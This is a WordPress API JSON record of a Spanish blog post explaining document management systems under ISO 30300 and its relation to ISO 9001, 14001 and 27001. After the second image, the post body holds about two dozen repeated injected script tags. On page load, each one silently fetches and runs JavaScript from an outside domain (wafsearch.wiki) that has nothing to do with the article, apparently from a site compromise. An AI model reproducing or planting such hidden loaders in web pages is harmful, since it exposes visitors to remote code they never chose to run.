{"id":778,"date":"2012-07-05T10:13:32","date_gmt":"2012-07-05T08:13:32","guid":{"rendered":"http:\/\/www.blocument.com\/?p=778"},"modified":"2026-03-20T06:20:05","modified_gmt":"2026-03-20T11:20:05","slug":"los-sistemas-de-gestion-documental-segun-iso-30300","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/los-sistemas-de-gestion-documental-segun-iso-30300\/","title":{"rendered":"Los sistemas de gesti\u00f3n documental seg\u00fan ISO 30300"},"content":{"rendered":"<p>En <a href=\"https:\/\/www.adapting.com\/index.php\/tag\/iso30300\/\" target=\"_blank\" rel=\"noopener\">anteriores entradas <\/a>se ha presentado brevemente las caracter\u00edsticas de las normas de gesti\u00f3n documental, principalmente las de la familia <strong>ISO 30300<\/strong>. Ahora vamos a dar un paso m\u00e1s all\u00e1, explicando con un mayor detalle <strong>c\u00f3mo es un sistema de gesti\u00f3n documental seg\u00fan esta norma<\/strong>.<\/p>\n<p>En el siguiente esquema se reproduce b\u00e1sicamente c\u00f3mo deben implementarse los procesos documentales:<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300.jpg\"><img loading=\"lazy\" class=\"size-full wp-image-779 aligncenter\" title=\"esquemaISO30300\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300.jpg\" alt=\"Esquema ISO 30300\" width=\"571\" height=\"404\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300.jpg 571w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300-768x543.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300-600x424.jpg 600w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/esquemaISO30300-350x248.jpg 350w\" sizes=\"(max-width: 571px) 100vw, 571px\" \/><\/a><\/p>\n<p>Partiendo del <strong>liderazgo de la Direcci\u00f3n<\/strong> (fundamental para la implantaci\u00f3n de cualquier sistema de gesti\u00f3n en las organizaciones), se deben planificar, dise\u00f1ar y aplicar los procesos documentales. Adicionalmente, como en cualquier sistema de gesti\u00f3n, se han de<strong> evaluar esos procesos<\/strong> para mejorarlos y as\u00ed cerrar el<strong> c\u00edrculo de la mejora continua<\/strong>.<\/p>\n<p>Todo ello debe entenderse desde dos <strong>niveles<\/strong>: el <strong>estrat\u00e9gico<\/strong> y el <strong>operativo<\/strong>. Adem\u00e1s, siempre deberemos recoger como requisitos de partida, aquellos dictados por el cliente y el resto de partes interesadas (accionistas, empleados, sociedad en general\u2026).<\/p>\n<p>En la <strong>aplicaci\u00f3n<\/strong> operativa de los procesos de gesti\u00f3n documental, habitualmente nos apoyaremos en dos elementos:<\/p>\n<ul>\n<li>Requerimientos derivados de las buenas pr\u00e1cticas de la ISO 15489<\/li>\n<li>Los sistemas de informaci\u00f3n que gestionan los documentos (electr\u00f3nicos y en papel)<\/li>\n<\/ul>\n<p>En la medida en que estos sistemas de informaci\u00f3n cubran ya de forma \u201cnativa\u201d los requerimientos normativos, estaremos acelerando y facilitando la implantaci\u00f3n de los procesos de gesti\u00f3n documental en la organizaci\u00f3n.<\/p>\n<p>Son de destacar, adem\u00e1s, las relaciones entre la ISO 30301 y el resto de normas de sistemas de gesti\u00f3n (ISO 9001, 14001 y 27001). Tal y como se muestra en la imagen a continuaci\u00f3n, en la propia norma, en su Anexo A se indica la<strong> relaci\u00f3n entre todas las normas<\/strong>, de forma que el cumplimiento de los requisitos correspondientes de la norma de sistemas de gesti\u00f3n documental ya cubre aquellos requisitos de gesti\u00f3n documental de cada una de las otras normas.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-780\" title=\"Norma ISO 30300\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300.jpg\" alt=\"\" width=\"571\" height=\"284\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300.jpg 571w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300-768x381.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300-600x298.jpg 600w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/NormaISO30300-350x174.jpg 350w\" sizes=\"(max-width: 571px) 100vw, 571px\" \/><\/a><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En anteriores entradas se ha presentado brevemente las caracter\u00edsticas de las normas de gesti\u00f3n documental, principalmente las de la familia ISO 30300. Ahora vamos a dar un paso m\u00e1s all\u00e1, explicando con un mayor detalle c\u00f3mo es un sistema de gesti\u00f3n documental seg\u00fan esta norma. En el siguiente esquema se reproduce b\u00e1sicamente c\u00f3mo deben implementarse [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":779,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[243],"tags":[58,66],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/778\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=778"}],"version-history":[{"count":26,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/778\/revisions\/"}],"predecessor-version":[{"id":14899,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/778\/revisions\/14899\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/779\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}